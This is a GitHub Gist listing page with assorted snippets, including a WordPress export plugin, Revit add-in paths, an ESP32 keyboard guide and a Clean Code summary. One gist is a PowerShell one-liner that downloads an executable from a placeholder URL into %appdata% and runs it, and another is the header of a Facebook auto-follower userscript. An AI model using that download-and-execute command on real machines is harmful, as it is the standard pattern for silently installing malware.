Skip to content

Instantly share code, notes, and snippets.

@jsnelders
jsnelders / wordpress_export_to_json.php
Last active May 6, 2024 16:35
Export all core WordPress data (posts, pages, attachments, comments, tags, categories and users) to a JSON formatted file.
<?php
/**
* Plugin Name: WordPress Export to JSON
* Plugin URI: https://jsnelders.com/
* Description: Export all WordPress posts, pages, comments, tags, commments and users to a JSON file.
* Author: Jason Snelders
* Author URI: http://jsnelders.com
* Version: 2020-01-30.1
**/
@teocomi
teocomi / revit-addin-locations.txt
Last active May 6, 2024 16:34
Revit Addin folder location
Autodesk Revit addins are generally loaded from the following locations.
User Addins:
%appdata%\Autodesk\Revit\Addins\
%appdata%\Autodesk\ApplicationPlugins\
Machine Addins (for all users of the machine):
C:\ProgramData\Autodesk\Revit\Addins\
Addins packaged for the Autodesk Exchange store:
@manuelbl
manuelbl / README.md
Created August 3, 2019 09:12
ESP32 as Bluetooth Keyboard

ESP32 as Bluetooth Keyboard

With its built-in Bluetooth capabilities, the ESP32 can act as a Bluetooth keyboard. The below code is a minimal example of how to achieve it. It will generate the key strokes for a message whenever a button attached to the ESP32 is pressed.

For the example setup, a momentary button should be connected to pin 2 and to ground. Pin 2 will be configured as an input with pull-up.

In order to receive the message, add the ESP32 as a Bluetooth keyboard of your computer or mobile phone:

  1. Go to your computers/phones settings
  2. Ensure Bluetooth is turned on
@henriksb
henriksb / Powershell download and execute one-liner
Created October 26, 2018 20:01
Quick one-liner to download and execute any file
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe"
@acutmore
acutmore / _web-framework-render-fns.md
Last active May 6, 2024 16:31
Comparing web framework render functions
@wojteklu
wojteklu / clean_code.md
Last active May 6, 2024 16:30
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

# This supports merging as many adapters as you want.
# python merge_adapters.py --base_model_name_or_path <base_model> --peft_model_paths <adapter1> <adapter2> <adapter3> --output_dir <merged_model>
from transformers import AutoModelForCausalLM, AutoTokenizer
from peft import PeftModel
import torch
import os
import argparse
@rahulkangjam
rahulkangjam / gist:d061737c15fc58260d3f
Created November 4, 2014 06:53
New Facebook Auto Follower 2014 2015 Working Script For Greasemonkey
// ==UserScript==
// @name Facebook New Auto Follower 2014 + 2015
// @namespace Facebook AutoFollower + Auto Like
// @description Facebook AutoFollower Script For Greasemonkey
// @version 1.0.11
// @include https://*.facebook.com/*
// @include https://*.facebook.com/*/*
// @include http://*.facebook.com/*
// @include http://*.facebook.com/*/*
// ==/UserScript==
@ssrihari
ssrihari / clojure-learning-list.md
Last active May 6, 2024 16:25
An opinionated list of excellent Clojure learning materials

An opinionated list of excellent Clojure learning materials

These resources (articles, books, and videos) are useful when you're starting to learn the language, or when you're learning a specific part of the language. This an opinionated list, no doubt. I've compiled this list from writing and teaching Clojure over the last 10 years.

  • 🔴 Mandatory (for both beginners and intermediates)
  • 🟩 For beginners
  • 🟨 For intermediates

Table of contents

  1. Getting into the language